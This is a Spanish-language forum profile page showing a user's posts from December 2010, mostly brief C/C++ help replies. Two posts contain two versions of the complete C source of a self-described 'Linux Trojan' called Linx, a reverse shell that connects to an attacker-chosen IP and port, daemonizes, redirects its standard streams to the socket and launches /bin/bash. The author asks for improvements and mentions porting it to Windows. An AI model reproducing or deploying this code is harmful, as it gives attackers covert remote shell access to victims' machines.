Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Garfield07

#1101
Buenas, el otro dia me puse a pasar "Linx" a Windows Vista, para mas utilidad... Ya me entienden.
El caso es que al abrir no funciona correctamente... Podrian postear el fallo por favor?
Que falla para que no corra?

Espero respuestas. Gracias por adelantado!

PD: Code abajo...
#1102
y por que esa web tiene que estar correctamente? A lo mejor te falta una libreria que no tienes instalada, o te has instalado una dañada o que no incluye esa funcion >:D
#1103
Programación C/C++ / Re: [C] Linux Trojan & dup2 ()
19 Diciembre 2010, 14:57 PM
Finish! Bueno, no del todo, version 0.2 xD:
#include <time.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



struct sockaddr_in host;

int sockfd;



int sell ()

{

close(0);

close(1);

close(2);



dup2(sockfd, 0);

dup2(sockfd, 1);

dup2(sockfd, 2);



execve("/bin/bash", NULL, NULL);

return 0;

}



int main (int argc, char *argv [])

{

time_t now=time (0);

struct tm *ahora;

char hora [40];

ahora=localtime ((const time_t*)&now);

strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);

printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora); //Esto escribira la presentacion.



if (argc == 3)

{

host.sin_addr.s_addr = inet_addr (argv [1]);

host.sin_port = htons (atoi (argv [2]));

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}

else

{

host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!

host.sin_port = htons (31337);

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}



printf ("Iniciando...\t");

sockfd = socket (2, 1, 0);

if (sockfd != -1)
{

printf ("[OK]\n");
}

else

{

printf ("[FAIL]\n\n");

return 1;

}



printf ("Conectando...\t");

while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
sleep (1);


printf ("[OK]\n");

daemon (1, 0);



printf ("Lanzando sell...\t");

if (sell ()==-1)

{

close (sockfd);

printf ("[FAIL]\n\n");

return 1;

}

printf ("[OK]\n");

close (sockfd);

return 0;

}



Ahora lo que falla es que "Conectando..." no se escribe hasta que no se conecta...Como lo puedo arreglar?

Me podrian ayudar
#1104
No se si hay librerias estandar para graficos, o no conozco ninguna...
Googlea y descarga...
#1105
Eso significa que no se encuentra algo. Puede ser porque lo hayas escrito mal, porque no exista (no este declarado), etc.
#1106
Programación C/C++ / Re: Problemas con Bison en C++
19 Diciembre 2010, 14:54 PM
%union //MAL. No es asi...

Luego tienes que decir que tipo es matrix, etc...
#1107
Programación C/C++ / Re: imagen
19 Diciembre 2010, 14:52 PM
Buscador elhacker.net!
El otro dia vi algo parecido, mira y encontraras, pero no busques donde no hay...
#1108
Programación C/C++ / Re: [C] Linux Trojan & dup2 ()
18 Diciembre 2010, 17:32 PM
Viendo que se puede... Gracias por los consejos, ahora me pongo...
PD: Ahora modifico con el code...
#1109
Programación C/C++ / [C] Linux Trojan & dup2 ()
18 Diciembre 2010, 15:55 PM
Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..

#include <time.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



struct sockaddr_in host;

int sockfd;



int execsock (int socket, char program [])

{

close(0);

close(1);

close(2);



dup2(socket, 0);

dup2(socket, 1);

dup2(socket, 2);



execve(program, NULL, NULL);

return 0;

}



int main (int argc, char *argv [])

{

time_t now=time (0);

struct tm *ahora;

char hora [40];

ahora=localtime ((const time_t*)&now);

strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);

printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);



if (argc == 3)

{

host.sin_addr.s_addr = inet_addr (argv [1]);

host.sin_port = htons (atoi (argv [2]));

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}

else

{

host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!

host.sin_port = htons (31337);

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}



printf ("Iniciando...\t");

sockfd = socket (2, 1, 0);

if (sockfd != -1)
{

printf ("[OK]\nConectando...\t\a");
}

else

{

printf ("[FAIL]\n\n");

return 1;

}


while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
sleep (1);

printf ("[OK]\nLanzando sell...\t[OK]");
daemon (1, 0);

execsock (sockfd, "/bin/bash");

close (sockfd);

return 0;

}



Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...
#1110
Programación C/C++ / Re: ayuda con una practica!
16 Diciembre 2010, 18:53 PM
Bueno, no lo he compilado, tmb por prisas, pero tu code no es correcto, digamos. Veo fallos lógicos, se podría reducir, etc...
K error da?